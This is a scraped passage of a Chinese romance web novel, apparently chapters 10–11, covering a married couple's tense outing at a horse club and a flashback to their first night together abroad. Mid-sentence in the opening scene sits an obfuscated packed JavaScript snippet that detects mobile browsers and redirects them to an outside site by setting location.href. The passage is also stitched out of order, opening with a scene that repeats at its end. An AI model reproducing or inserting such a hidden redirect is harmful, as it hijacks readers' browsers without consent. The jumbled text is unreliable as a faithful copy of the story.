姜静走后,傅谦才开口,“好一个未婚妻林小姐。” 未婚妻三个字着重着色。 季时与重新坐下,顺着他的视线看向远处正教他口中的林小姐骑马的叶肖。 “他怎么了?” 这话却是对着傅谨屹问的。 “前女友。” 傅谨屹冷不丁出声。 哈?那个分手了被傅谦扣着狗的前女友? “这也太快了吧?你们分手有一个月吗?” “她算的上是个屁的前女友,老子去问问她的狗到底还要不要了。” 傅谦脱下外套,也牵了匹马疾驰出去。 原野上风在呼啸,季时与跟傅谨屹的身旁此刻却静的像与世隔绝。 季时与还没缓过神来,“这事叶总知道吗?” 傅谨屹也落座,“来的时候应该知道了。” “他心里不膈应?” 傅谨屹浓眉一挑。 “风月场上的事,叶总见得比她多,只能说明一个问题。” “什么问题?” “她很善于利用自身优势。” 所以别人并不在乎她的过往,只在乎她这个人现下能提供的价值。 季时与看的认真,右前方三个人的修罗场还在继续。 中间的女人穿着马术服都能看出是属于风情万种的类型,两个男人被她马背上不知所措的情绪玩弄于鼓掌。 “傅先生好像很会洞察人心?” 季时与给他倒了杯刚洗好的茶,茶水落在茶杯里的声音袅袅,茶杯七分满,清澈见底,没有一点杂质。 傅谨屹一饮而尽,眸光幽暗,也学着她曾经指尖把玩茶杯的模样,表情有些玩味。 不过他的茶杯下一刻没有碎,而是稳稳的扣在茶桌上。 “过誉,比如,傅太太你的心,就难以洞察。” “为什么?既然都有这个闲情逸致窥探我的心,我是不是也可以有理由怀疑,傅先生动机不纯?” 至于是什么动机,这个罪名的帽子很好扣。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14459728|153783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像他当初慎重的告诉她不要动歪心思那样。 君子报仇,十年不晚。 傅谨屹秉持奉行坚信的是,人都是虚伪多变的,人心更是。 但季时与不同,季时与是多面的,像是在走一个镜子迷宫,偶尔有些时候他会好奇,哪一面下面才是她。 “是否是有动机,是什么动机当然由你。”傅谨屹视线从她脸上移开,面色从容,笑的也淡,“不过林小姐这个人你要注意,后面少不了会跟她来往,但是最好不要跟她过多接触。” “怎么了?” 傅谨屹的提醒令她疑惑。 他们今天应该也是第一次见面才对。 过多的解释在傅谨屹心里没必要,“你少接触就可以了。” 来的时候,他们四人同时到达。 马术俱乐部对于江城内环来说,是属于偏僻渺无人烟的地方,车子只能停在俱乐部固定的停车位上,里面的天然跑马场,需要下来再步行一段路。 所谓的林小姐似乎是有意聊起,依偎着叶肖,“我听说季小姐好像腿脚不太好?要坐轮椅。” 声音不大不小,刚好够他们四个人听见。 叶肖有些尴尬,她是什么意思,在场似乎都心知肚明。 “少说两句。” “抱歉,不能说吗?我以为这是江城大家都知道的事情。” 双方谈的是合作,并不是向下兼容。 叶肖赔笑,“傅总,她比较单纯,你别介意。” 林序也赶紧认低道歉,认下了心直口快的人设,“我其实还挺佩服季小姐的,外面都说她人面蛇心,脾气也大,只管自己享特权,苛刻工作人员,她硬是一句解释也没有,心理这么强大的人,我还是第一次见,要是谁说我哪里做的不好,我是一个晚上也睡不着。” 傅谨屹只觉得她愚蠢,费尽心机还没当上叶夫人,就摆上了叶夫人的架子。 而他是季时与板上钉钉的丈夫,她还指望着,他在外人面前嘲弄自己的妻子? 即便外面传言他们的婚姻再不和,傅谨屹也不会允许有人如此的下他与季时与的面子。 傅谨屹薄唇紧抿,语气森冷。 “是不是单纯只有叶总知道,林小姐到底是听外人的人云亦云,还是心有所想,我管不了,但是再让我听见,我会追究我们夫妻该有的名誉,傅氏也义不容辞,林小姐若是只有单纯这一个品质的话,那我还真是高看了金叶集团。” 他们的利益自从写下婚书的那天就捆绑在了一起。 傅谨屹不仅为她也为自己。 “哥,你是不是早就知道了?”傅谦拦住傅谨屹,面色凝重。 知道林序早就搭上了叶家。 傅谨屹刻意与叶家两个人保持距离后,看着自家弟弟,审慎警告他:“给你身边的人透露这个消息是让你过来看清楚她的真面目,让你知道分寸,外人始终是外人。” 傅谦双唇紧抿,眼底染上怒意,“那你跟季时与呢?我跟她有感情,你跟季时与没有感情,只有一纸婚姻,你拿她当内人还是外人?” “你对她是真感情吗?还是为了戏弄她给她套走了傅家的假消息?”傅谨屹薄唇透着凉薄之意,“你的性子,等你知道什么是真感情的时候,再滚来找我。” “傅谨屹,你为什么不敢回答?” 傅谦低吼,带着被揭穿与轻视的气愤。 从小他只会被家里人与傅谨屹比,他什么都比不过傅谨屹,偏偏傅谨屹最能戳破他的心思,他干脆不比,吃喝玩乐傅谨屹总是比不过他的。 “她进了傅家,就是傅家的人,用不着我拿她当内人还是外人。” “是吗?”傅谦笑了笑,“那她知道你在调查她吗?” 傅谦被傅谨屹深深看了一眼,他被里边复杂的眼神所震慑。 他说不明白那些对他的是大失所望还是觉得他幼稚无可救药。 “调查上来的东西,不管里面有没有内容,我都没有看,你知道为什么吗?” “为什么?” 傅谦确实不解。 傅谨屹再最后教他一次。 “因为我对季时与是否有感情这个命题,不管里面的内容是什么,都不会改变现状。我不爱她,也不会因为里面的调查结果而爱上她,我要是爱她,也不会因为里面区区几个字不爱她,你明白吗?你首先得学会怎么尊重一个女人。” 午后的风总是宜人的,吹得人昏昏欲睡。 墨镜里的世界总隔着一层灰。 季时与见秦桑桑下马,坐的端正些,墨镜被她取下来搁在茶桌上。 “时与姐,我不学了。”秦桑桑走近后才注意到姜静不见了,身边替而换之的是一个面容俊逸,气度不凡的男人,“这位是……傅总吧?” 傅谨屹颔首。 “我双手双脚的支持你的决定,你去休息会吧。”季时也颇为理解她。 “那我去给你们准备点别的喝的,傅总想喝什么?” 秦桑桑变得雀跃。 “我喝茶。” 傅谨屹惜字如金。 “你老是板着张脸,别人会害怕你的。” 季时与看着走远的背影。 傅谨屹掀起眼皮看她,“你害怕吗?” 10、第 10 章 “很久之前听你说过。” 季时与从沙发上下来,双手往后一背,像小时候喜欢模仿大人样子的一个小鬼灵精。 她往傅谨屹身旁颠颠儿的跑过去,学着他方才的模样,把展柜又端详了一遍,一步步靠近他,直至把他逼至死角。 傅谨屹退无可退,便也不再退。 好整以暇的看着她。 季时与踮起脚尖有意挨得近,傅谨屹也不躲,任由她的眼神直白又赤.裸的打量他每一个细微的面部表情。 她的头仰着,呼吸总是在不经意的时候喷洒在傅谨屹的毛孔上,那些细微的绒毛被她呼吸间掀起一层又一层波浪。 “怎么?她也跟我一样坏?” 似曾相识的话。 只不过这一次她是站在傅谨屹的面前说的。 他们之间暗含的身高差距近了些。 时间像被宇宙折叠出许多个碎片空间,每一个空间里,都存在着一段记忆,当时间与记忆重叠的时候,那段涌入的记忆,我们一般都称之为回忆。 与“第一次”见面时不同。 那时季时与在季家主厅中央,坐在一辆精巧的轮椅上,她似乎畏冷,在南城20°上下的温度里,穿的比正常年轻人都要厚。 腿上还盖着一张薄毯,左右不可否认的是,她是漂亮的,即使是站着人群里,也不用仔细辨认的那种。 与他几年前在国外有过一面之缘的那个女人,几乎如出一辙,但那天夜太黑,他们的行为举止太喧嚣。 他无法确定。 季时与的神色总是恹恹,她眼里掩盖着很多情绪,没有一种是如她外表那样平和的。 傅谨屹来之前下属好心给他递过消息,这个女人是二十二岁那年起,南城才开始有她的传闻,其他南城名门子女与她接触过之后,无一例外都对她摇头敬而远之。 其他消息零零散散,称不上是什么有效信息,但高中之后到大学毕业前的经历在南城是完全空白,就像被人蓄意抹去,亦或者是根本就不在国内。 傅谨屹带着被那个女人戏耍的怒意,迁怒般脱口而出:“我认识一个跟季小姐很像的人。” 季时与冷讽:“她也跟我一样坏,还是个坐着轮椅的瘸子?” 他们周围坐着一圈人,有傅家的,有季家的,异常的其乐融融。 这点冒火星子的火花似乎只存在他们二人之间。 傅谨屹嗤笑,“不是,她死了。不过她比你也好不到哪去。” 不同于那次,这次季时与占了主动权。 客厅内有很好的空气循环系统,此时傅谨屹却觉得流速有点过于缓慢,不够供给与他,大概是它工作的年限太长。 傅谨屹看她时得半垂着眸子,迎面撞上来的是季时与等待回答的眼神。 他忽的察觉,她右边眉毛的眉尾有颗小巧的痣,隐藏在尾巴处的眉毛里,光线够足时才注意到。 傅谨屹指腹轻抚,来回摩挲。 “不,我现在觉得,她是个天生坏种。” 季时与不明白他幽深的眼神,看颗痣都比看她有感情,对颗痣说的话都比对她暧昧。 但也止不住好奇打探,“你喜欢她?” 傅谨屹不费吹灰之力走出她的挟制地,泰然自若的落座在沙发上,双腿交叠,指尖在放松状态下刮蹭着手腕的青筋。 声线是沉闷的,“不喜欢。一面之缘,谈何喜欢?” 人矜贵无方,话不见半点虚假。 季时与停留在原地,思忖片刻。 “为什么?虽然一见钟情的事情有很多,但是你看起来有点讨厌她。” “她偷走了我的东西。” 季时与灵动的眼里有狡黠。 她大胆猜测。 “不会是,你的贞洁吧?” 周遭的气氛凝滞,空气中夹杂着一阵冷空气,向她吹来。 然后持续下降到冰点。 傅谨屹的脸色便是像冰碴子一样冷,凝视着她,语气森然,“或许,傅太太也会跳舞吗?” 傅谨屹是个很聪明的人,他善于攫取所有蛛丝马迹,听到这话,季时与意识到玩的有点大,这把火,隐隐有烧到她自己身上的趋势。 再这样下去,漏洞百出。 季时与余光放在厨房,漆黑的眸光落在傅谨屹好看的领结上。 “不会,傅太太从来不会跳舞。” 不是季时与,也不是傅太太。 会跳舞的是那个首席舞者,时与。 她跟傅谨屹的“第一面”,确实不在南城季家。 高中在南城一中毕业之后,季时与就独身去往r国留学。 课堂上她跟同学介绍自己时说的是,她是从家里逃出来,来追逐她的梦想,还给自己取了个外号叫宋江。 外国友人们带着不解问她,季时与在讲台上明媚如冬日初升的朝晖,一条一条的解释着,因为她原名叫季时与,谐音“及时雨”,所以国内的同学都这么叫她的绰号。 而及时雨也是中国一本非常有名,也非常厉害的古典小说男主角的外号,宋江也就是他的本名。 季时与还顺带文化输出一番,倾情推荐了四大名著外语版。 后来她的古典舞一步步斩头露角,受邀在r国国家大剧院演出,各种奖项拿到手软,在r国声名鹊起。 曾一度被r国纸媒认为,是古典舞界再次冉冉升起的那颗新星。 二十二岁那年成为r国国家大剧院首席舞者,时与。 一时风光无两,年纪轻轻便看尽长安花。 她及时雨的外号也如词意一般,是舞团的及时雨,团内有个小姑娘突然肠胃炎,上吐下泻,只好由季时与临时顶上。 那段时间正值雨季,季时与出门时还毫无预兆,城市处处泛着晚霞橙色的光芒,均匀的洒在街头的每一个角落。 街边的下午茶咖啡店,人们依旧慵懒惬意,微风拂过时,翻起她们手里的杂志书籍,接着都是一阵翻书声。 奥斯曼建筑在这夕阳下独具风情。 不过季时与没空欣赏,步履匆忙路过,她今天下午请了半天假,昨天下午练舞前取手表时,手滑了一下,手表也很给面子的罢工了。 手表是她出国后,季爷爷特地托人给她带来的生日礼物,那是她对家的思念,平时珍惜宝贝的不行。 修手表的是个胖胖的四十来岁的澳大利亚男人,季时与与他攀谈时,得知他也会中文,只是学的不精,说起来有些滑稽的搞笑。 手表修好时已经晚上,窗外狂风暴雨树枝乱颤,老板表示也没有带伞,热情的邀请她再坐一会,等雨停。 季时与担心时间会来不及,向老板要了个纸袋顶在头上冲了出去,大不了回舞团冲个澡就是了。 才冲出去没多远,发现漏掉了钥匙。 再次折返。 秋夜雨急风骤,季时与只顾得上埋头苦冲,雨水砸在身上还有些肉疼,身上的灰色裙子原本是宽松款,沾了雨水之后湿了大半。 离旧表店只差一步之遥,季时与一个大跨步,预料中的跨上了台阶,站在了屋檐下。 不同的是,比预料中多了一道坚硬却有温度的柱子。 她不小心撞上去之后,往后退了几步,手上的硬纸袋应声落地,除了纸袋的还有一声清脆的当啷响。 明显面前的年轻男人也还没有反应过来。 接着橱窗里的钟声响起,晚8点整,伴随着钟声还有亮起的橱窗灯。 季时与急着回,捡起地上的古朴飞轮表,然后进店写了一张带有手机号码的纸,不由分说,一同塞入他手里。 “很抱歉,太对不起了,我这会赶时间,麻烦您看看能不能修,费用我全额承担,如果不能修,我可以照原价赔偿给您,您把卡号发在这个手机号上明天晚上之前,会有人给您汇款的。” 年轻男人刀削斧凿的面孔近乎完美,西服在他身上帅气笔挺,不是西方人的长相,所以季时与脱口而出说了母语。 男人没有反应。 季时与意识到,不是西方人也有可能是东方其他国家的人,准备用英语再复述一遍。 潮湿雨夜里,异国街头,打湿的灰色裙子裹住纤细的女人的身躯,面容在昏暗里泛着白,几缕发丝贴在脸颊上,冷风袭来时,她瑟缩着退了一步。 像夏夜池塘里,被雨水溅湿的娇弱荷花。 “不用了。” 男人开口。 季时与没有辩解什么,她保证,“你放心,我不会跑的,老板知道,周末的时候我都会在r国国家大剧院,或者你可以直接来我的学校找我,地址在纸条上。” 没等对面的男人再出声,季时与又进入雨幕里。 只是这次没有回头。 夜晚的表演是朝鲜舞独舞。 季时与天生就是个舞者。 舞姿轻盈舒展,柔软细腻,起舞时裙带飞舞,柳手鹤步,又有行云流水般干净利落,柔中带刚。 她享受舞台,也享受这满堂喝彩。 一舞毕,谢幕后有现场的工作人员给她递来一枚纸条。 在工作人员的好奇下揭开,是她不久前在旧表店留给那个男人的。 季时与第一反应是看向台前。 他是特意过来还纸条的么? 工作人员看穿她的意图,操着一口流利的英文语速飞快,打趣她:“宋,又是手机号码?可惜他已经走了很久了,你表演刚过半的时候,他出去时让我交给你,是个很有魅力的东方男人。” 那个男人身上的物件儿价值不菲,或许他也不差这点钱吧。 季时与不再纠结,回了个谢谢。 整个结束后,季时与跟舞团里另外两个相熟的俄罗斯籍的舞者喝了几杯,庆祝又一个完美的周末落下帷幕。 三个人都是爱玩爱闹的年纪,难免多喝了几杯。 季时与在最繁华的地段订了个好几年的vip高级套房。 一来不出门的时候不用愁吃什么,二来住酒店就完全不用她动手收拾房间之类。 季时与有些晕了头,脚下轻飘飘的,平时为了保持身材没有人敢大吃大喝,甚至晚餐都见不到点肉腥,一个月最多才敢有这么一次放肆。 三个人很开心,开心的结果就是都喝大了。 套房一层只有两间,季时与从电梯里出来干呕了一会,再抬头更分不清东西南北。 摸着个门框就开始试密码。 几次过后,门直接从里边打开。 季时与就这么大剌剌扑倒在门内的地毯上,缓了好一会,才挣扎着站起来,想到床上再睡。 正起身,手腕被人狠狠钳制住,接踵而至是一声低吼,“滚出去。” 腕子上的疼让季时与清醒几分,但也无济于事,她喝的是洋酒兑啤酒,能保持现在这么清醒已经很不错了。 “这是我家我滚哪去?”季时与扶着他才站稳,“诶?” 诶……什么来着? 她想起来,“你不是那个手表男嘛?” 她一激动手松开,身子站不住还晃悠了两下,“你别老是晃,你喝酒啦?” 房间里只有一盏昏暗的小灯,对着的男人似乎是被她盗开门锁的行为吵醒,俊逸的面庞上,不耐烦的态度浮现的淋漓尽致。 似乎下一秒,就要把她扔出去。 季时与迟钝的堪比大笨钟,伸手准备去掏口袋里的包,说起话来摇摇晃晃,晃的她看不清,脾气也就上来了,“烦死了。” “你不用这么追着我,钱我有的是”她又继续,“呐,这些你先拿着,剩下的我让家里人明天给你打,你先回去吧。” 末了,还打了个饱嗝,味道直冲天灵盖。 男人今夜似乎也是喝了酒的,但他依旧保持清醒,并不想与她做纠缠,蹲下准备卷起门口的那小块地毯,连人带地毯丢出去。 却不料,在没有防备的时候被她摁倒,下一刻季时与就趴倒在他身上。 屋子里窗帘拉的严实,没有半点月光,空间里弥漫着酒味,起初闻着刺鼻,酒精挥发后,周身泛着迷人又危险的醇香。 季时与眼睛里盛着星河,闪闪发亮,或许是酒精上头所致。 唇色无法辨识,只能看见有微微的水润细闪着光泽。 季时与捞过男人垂在一旁的大手,笨拙的把它搭在自己的细腰上,俯过身,贴的他极近。 近的男人可以看清她的睫毛,忽煽忽煽。 她粉嫩的唇瓣轻启,“你可以跟我做吗?” 见他不答,季时与委屈解释,带着稚气,“她们今天都嘲笑我,说我还是个乳臭未干的小毛孩,你有没有过女朋友?” 男人的怒意达到顶峰,只差一个间隙就可以爆发。 忽的,有什么水润的东西,软嫩的,贴在他唇上,笨拙的像刚学会喝水的小象。 一下一下的贴着。 酒精明明是刺鼻的,可唇间的馨香也不会骗人。 黑夜里仿佛有什么勾人的东西,摄人心魄。 季时与嘟囔:“你放心,我没有男朋友,也不是出轨,我可以给你看我的健康证,我已经是成年人了,明天早上醒来我们就互不相干……嗯……就是俗称的一夜情。” 那一夜烛火长黯,却又燃烧至天明,异国他乡,风急雨也骤。 季时与醒来后不敢面对自己犯下的罪行,找了找把包里所有的钱,包括人民币,一起叠的整整齐齐放在床头,还留了张纸条。 “我不是故意要嫖你的,包里的钱都在这里了,你要是觉得不够你尽管打我的电话。” 下面还压着前一张他还回来的纸条。 季父季母端着水果出来。 季时与从回忆里抽身,沙发上的男人正襟危坐,似乎比几年前沉淀的更深,眉目间已经没有了当年春风得意下的意气风发。 有的只是时间淘尽后,经过岁月磨砺的沉稳。 举手投足间更显矜贵。 季时与不喜欢回忆从前,那个异国街头偶遇的男人变了,她深知自己也变了。 她不再是星光熠熠的舞者,她的灵魂永远留在了她最爱的那个舞台上。 没有万人瞩目,也不再发着光,她变成了一颗暗淡的,了无热情的,普通石头。 季时与下意识的害怕傅谨屹知道真相,但她心里明白他可能总有一天会知道的,只是期盼着晚一点,再晚一点。 无关情爱。 只是她无法接受她曾经昂扬着的,骄傲的头颅,在他面前也低下。 这是她最后的自尊与骄傲。 是她走不出的泥泞。 水果消灭完之后,在季家又待了会聊了聊天。 从南城回江城的静园大概一个小时十分钟。 季时与本来准备在车上睡一会。 傅谨屹在车门前站定,没有要走的意思,“我让司机先送你回去。” “你不回去?”季时与问。 “金叶集团的饭局不好推脱,我让项目组的人在陪着,他们董事长的儿子也在,我不好不露面。” “好。” 季时与以为他是把饭局改期了才来的季家,没想到只是推脱了会时间交错进行。 他似乎得永远保持着高强度高精力周旋,才能在漩涡里扛起整个傅氏,且蒸蒸日上。 偶尔想想,他应该也会累吧。 傅谨屹把车钥匙拿走,季时与是静园的司机送过来的,他是从公司自己开过来的。 “等等,”她叫住,“让司机把你送过去吧,我自己开回去就好了。” 傅谨屹侧头看了她一眼,“不用,你回吧。” “你怎么那么倔,让你别开就别开了,老秃倔驴。” 傅谨屹的脸色眼见的沉了下来。 季时与瞪着他,“你再看?” “嗯。”傅谨屹鼻尖深深的沉出一口浊气,有种秀才遇到兵的无奈。 他的评价是: 刁蛮。 季时与开车还是没有问题的,之前在国外不着调的时候还是飚过车的。 只不过只去过一次,那些人嫌她神经太大条了,不敢再带她去。 明明好好的一个人,外表怎么看怎么聪明伶俐。 一坐到驾驶位上,就跟猪油蒙了心似的,手脚不灵活,脑子慢半拍。 季时与总结了一下,大概是不熟悉国外的交通。 这不是开的好好的吗? 傅谨屹处理完手机上的工作后,靠在后座休息,他在车上向来睡得不沉。 手机没开铃声,但也仅仅只震动了两下,就被他接起。 “怎么了。” 他嗓音低哑。 那头似乎带着劫后余生的惊魂未定,声音颤栗,隐约有些哭腔。 “傅谨屹,车、车左后胎爆了,方向盘不受控制,我没抓稳,撞到了护栏上。” 话音未落,傅谨屹心跳骤的停掉一拍,脑子里有一声仅他可见的轰鸣声。 随后他快速做出反应,语速放缓,确保她可以一字不落的听进去,“你听着,现在把车的双闪打开,我记得这辆车后备箱里是有交通锥的,你把它拿出来放在车尾巴后面的地上。” 见她没有声音,傅谨屹温声问她,“听清楚了吗?” 他的声音和一切在握的态度,让季时与的心瞬间抚平安定下来,思绪也渐渐回笼。 按照他说的有条不紊一一做好之后,拿起她车上的平板,平板里有卡,她直接拨过去报了警,打了交通队的电话。 最后叫了拖车公司。 迈巴赫上的司机从内后视镜里看了眼后座的老板,拿着耳边的电话,似乎还无声的笑了一下。 那笑就好像是……他发现自家孩子的聪明异于常人,欣慰的笑。 一套操作下来,季时与才终于敢松口气。 这条路上灯光比较亮,让她心里的恐惧没有那么容易发散出来。 情绪松懈下来后,有些疲乏,季时与也顾不得什么形象了。 好在这条车道是个单行道,她坐在车头前的地上,双手环抱着膝盖。 “没事了,回家吧。” 季时与蓦的应声抬头。 不是熟悉的臭脸色,但是是熟悉的声音,她从来没有觉得傅谨屹的声音如此悦耳过。 在寂静的月夜里,如听仙乐。 傅谨屹的出现似乎让地上的人意外,眼里除了讶异,还有瞬间有些泛红的眼眶,像只受了惊的小兔子。 但季时与是不会在傅谨屹面前掉眼泪的,她忍着让风吹过的时候悄悄带走。 傅谨屹往护栏下忘了一眼,底下是条暗河,河床上石块很多。 不慎掉下去的话,惨不忍睹。 风带起他的头发,路灯下显得更俊朗,轮廓线条利落。 季时与没有拒绝这次他伸过来的手,声线沙哑,“你怎么来了?不是要跟金叶集团的孙子吃饭吗?” “是儿子。” 他纠正。 不过听着也怪怪的。 傅谨屹好心再次纠正,“是金叶集团董事长的儿子。” 这下季时与彻底全面崩盘。 蹲在地上哇哇大嚎。 “我管他孙子还是儿子,我都这样了,你还要教训我,你到底有没有心啊!!!?” “就算我们俩没有感情,但好歹我们也是结了婚的,你安慰我一下都没有,你还要管人家的孙子儿子。” “而且……” 傅谨屹静静的看着她发泄完。 良久,理智回笼。 季时与站起来若无其事。 “可以了吗?我什么时候能回家。” “现在,我已经打电话叫人过来等着处理了,我们先回去。” 迈巴赫上副驾驶,季时与劫后余生又哭过,暖风吹着很快便睡了起来,没有了分开前的张牙舞爪,温顺了许多。 傅谨屹的车开的沉稳。 直到进入静园大门时,季时与心灵感应般苏醒。 她放下车窗,冷风拂面更清醒。 季时与再次想起来,有些不好意思的踌躇,态度柔和良好,“那你不去不会有什么影响吗?” “没事,刚才已经处理好了,不过需要借一下你的马术俱乐部,不过分吧?”傅谨屹目不斜视。 “啊?” 没听懂。 “他们家少董有个未婚妻,俩人刚确定下来不久,她对骑马很感兴趣,所以让她周六去你的俱乐部玩玩,我跟他们少董的事,到时候在聊。” 倒是没问题,不过她问,“需要清场吗?我那天也约了姜静去俱乐部。” 车停好后,傅谨屹熄火。 “不用,认识的人一块没问题,其他预约了的人正常进行就好了,我记得里边不是有个天然跑马场吗?预留那个就行。” 季时与的那个跑马场分两部分,一部分是正常马术俱乐部的场地,日常在官方app里都可以直接预约,有非常专业的马术教练。 另一部分就是那个独有的天然跑马场,那是她的私人领地,一般是不会对外开放。 “好。”她答应的爽快,反正今天这个事也有她的一份。 季时与回去舒服的泡了个热水澡。 手机在床上响了好几遍,提示拨打人是傅谦,她慢悠悠接起。 挂断后季时与还在想。 她这个跑马场周六这么吃香? 11、第11章 江城历来春季多雨,降雨量频繁时,能持续一个月。 今年却一反常态。 风和日丽的午后,熙和的阳光布满整个场地。 跑马场翠绿的青草地有专人打理,长势的高低都被控制的一分不差,一眼望去除了地脉的连绵,宽广辽远。 季时与到的时候,姜静已然到了不止一会儿,遮阳伞下悠然的品着茶香。 “呸。” 季时与猝不及防被口腔里充斥的苦袭击了味蕾,往身后吐了好几下。 手里从姜静那夺过来的茶杯险些没拿稳,仔细端详,“你往我的茶杯里倒咖啡?” 姜静睨了她一眼,季时与小巧精致的面容被脸上的黑色方框墨镜遮挡住了大半,但还是不难看出她的气愤,“我不喜欢喝茶你又不是不知道,我那杯咖啡不小心弄撒了,只好用你这些小茶杯装一下。” “小茶杯?”季时与音量拔高,“小茶杯!?这套茶具是我从……” “从瓷器大师那辛苦学了两个星期做出来的,知道知道,你每次都要重复一遍。”姜静让她冷静点坐下,“你不觉得有点太丑了吗?颜色也不均匀,高中的时候我就想说了。” 季时与愤懑不平,“你懂什么,这叫抽象派。” “有够抽象的,你见过杯子上画了两朵长着脚的花吗?” 季时与不以为耻,明明就是艺术,人家瓷器大师都夸她后生可畏。 “时与姐,你喝点什么?”清脆的声音传来,小姑娘一身白色连衣长裙,头发长已及腰,为了方便干活用一根丝带挽了起来。 清泉般的眼睛,听话乖巧的模样,像跑马场漫山遍野的翠绿里长出来的一朵小白花。 季时与努力回想了一下这双眼睛,“你是秦姨的女儿?” “嗯嗯。”小姑娘迎合点点头,“我叫秦桑桑,时与姐叫我桑桑就好。” “桑桑。” 季时与默念。 很好听的名字,她挺喜欢。 “学会骑马了吗?” 秦桑桑摇头,素净却不失好看的脸有些为难,“还没有,总教教了我几次,但是一直学不会,后来就没学了。” 季时与回想了一下,她请的总教那一身五大三粗的腱子肉再配上一张黝黑的脸,骑术虽然让人很信服,但是更多人见了只怕会像秦桑桑一样紧张。 “但是不是总教的问题,是我太蠢了学不好,所以后来干脆就不学了,反正我平时的工作简单也用不上考马术教练证。”秦桑桑怕她误会,急于解释。 “没关系,我可以教你,你换一身马术服,然后找个教练带你选一匹温驯的马送过来。” 季时与的声音也不自觉的软了下来。 “你什么时候这么有耐心了?”姜静继续品着咖啡。 “你不觉得吗?她一看就很让人有保护欲望。” 随后季时与就为她这句话付出了极其惨痛的代价。 再强烈的保护欲望,她都招架不住。 原本斗志昂扬的季时与,此刻像只败下阵来的斗鸡灰溜溜的跑回了遮阳伞下。 咕咚咕咚的先喝了几口凉水。 “怎么了?”姜静憋着笑问。 季时与很累,不止身体累,心灵上的冲击也累,她眺望着远方教练牵着的那匹小棕马上的人,由衷感叹,“她不适合这项运动。” “噗呲。” 姜静没忍住笑出了声。 季时与白了她一眼,“你到底准备说什么?非要当面才能说。” 姜静不急不缓,看着她,“没什么,想让你帮我一个小忙。” 还有她能帮上的忙? “什么?” “我妈培训机构的一个舞蹈老师前段时间怀孕不小心摔了一跤,现在在家保胎呢,事情发生的突然,你知道这个机构的事情不能让我爸知道,临时找不到人顶上,学生那边有部分家长也会有意见。” “不去。” 季时与听到时有片刻怔愣,随后只等她话音一落,拒绝的毫不拖泥带水。 姜静进一步,“帮我一个忙嘛。” 季时与不为所动,静静地坐在那,墨镜下的眼睛辨不出神色,“我不会跳舞,而且我讨厌小孩。” “只是教一些小孩子基本功,对于你来说绰绰有余,就当是帮我一个大忙,好吗?” “真的只有我这个选择吗?姜静,我很清楚我的情况,也清楚你的意思。” 真的要找,不会找不到合适的人选,只不过是多费些钱与时间。 姜静却偏偏要她揭开,要她学会翻篇。 “你想往后二十年、三十年、或者更长久,永远都在阴影之下吗?”姜静苦口婆心,“季时与,你已经让阴影吞噬了,没发现吗?你身边已经没有朋友,没有了原本该有的生活。” “你不是我的朋友吗?”季时与就那么看着她。 姜静漏出那张可怜的底牌,“然后呢?冷宫里边都跟两个太监,一辈子那么长,只打算跟我一个接触?何况这不需要你重拾你的舞蹈,只是帮我几天的忙,你只需要教教小孩子,多简单的,我妈,你的阿姨,也不用愁的晚上睡不着觉。” “几天?” 季时与的固执与牛角尖碰上她的感情牌,从来没法狠下心。 见她有所松动,姜静趁热打铁,“一个星期,只有7天。” “废话,你家一个星期有8天?道德绑架。” 季时与无法放下心里的芥蒂,但也知道这家培训机构是姜静的妈妈的心血。 她从前在少年宫教小提琴,后来未婚先孕,那个时代没有人敢留她继续工作,姜静没有“认祖归宗”时,读书的学费都是靠他妈妈一天几份工作,还有四处上门给富人家的孩子教小提琴得来。 季时与与姜静认识是小学的事情了,两个人待在一块经常无法无天,闯了祸季时与不敢告诉解云,家长会没少求姜静妈妈去开。 后来姜静妈妈慢慢攒了点,才开了一个小培训机构,再到后来姜静俩人被接回了姜家,姜静长大有了能力之后,机构才被一步步,慢慢扩大,整个机构姜父是一无所知的,他妈妈仍旧保留着自己的体面。 “绑不绑架无所谓,目的达成了就好,咱们时与还是心疼我的。” 季时与轻哼一声。 姜静贴上去示好,“晚会我就飞多伦多出差了,得去两个星期。” 季时与总算是知道姜静为什么非要当面说了,一来她隔着手机,季时与的心狠的跟什么似的,当机立断就会挂断,当面说季时与没法不听。 二来她特意挑了要出差前,就算她不答应,这个烂摊子十有八九也落到她头上了。 季时与又是一声冷哼,“这件事情,不要让傅谨屹知道。” “是么?” 空旷的草原上深沉的嗓音如恶魔低语,春风絮絮,一字不落的送到她耳朵里。 季时与心头不可控制的颤了颤,侧头,三男一女走近。 为首的是傅谨屹,依次是傅谦,另外一男一女季时与没见过。 “什么是不能让我哥知道的?说来听听?”傅谦笑的奇怪。 傅谨屹一个眼神,傅谦便噤声,带着几分桀骜不驯,绕过预留好的位置坐在伞下,跟姜静微微颔首算是打了招呼。 季时与起身,傅谨屹走的更近了些,与她同排而立。 低沉郑重道。 “介绍一下,这位是我的妻子,季时与。” 季时与个子不低,但在傅谨屹面前还是矮了一个头,只到他肩膀。 她的卷发被风都吹散在脑后,有几丝碎发一直拍打着她的眼睛,她无动于衷。 微微仰着头,看向傅谨屹。 他是怎么把妻子两个字说的这么自然的,脸不红心不跳。 稍微停顿后,傅谨屹目光下移,落在她脸上,继续道:“这位是金叶集团的叶肖,叶总,跟他的未婚妻林小姐,林序。” 季时与笑着优雅点头示意。 姜静接过傅谨屹投过来的目光,从善如流,伸出手介绍,“叶总久仰,姜静。” 叶肖礼貌回握笑道:“融方控股的姜经理,久仰。” 一旁站着的林小姐似乎是不满意叶肖的态度,扭捏的推了他两下,让他收敛。 季时与跟姜静把这画面照收眼底,心照不宣的对视了一眼,姜静拿起手机笑意不减,“我下午的飞机,这会得赶去机场,你们慢慢玩。” 姜静走后,傅谦才开口,“好一个未婚妻林小姐。” 未婚妻三个字着重着色。 季时与重新坐下,顺着他的视线看向远处正教他口中的林小姐骑马的叶肖。 “他怎么了?” 这话却是对着傅谨屹问的。 “前女友。” 傅谨屹冷不丁出声。 哈?那个分手了被傅谦扣着狗的前女友? “这也太快了吧?你们分手有一个月吗?” 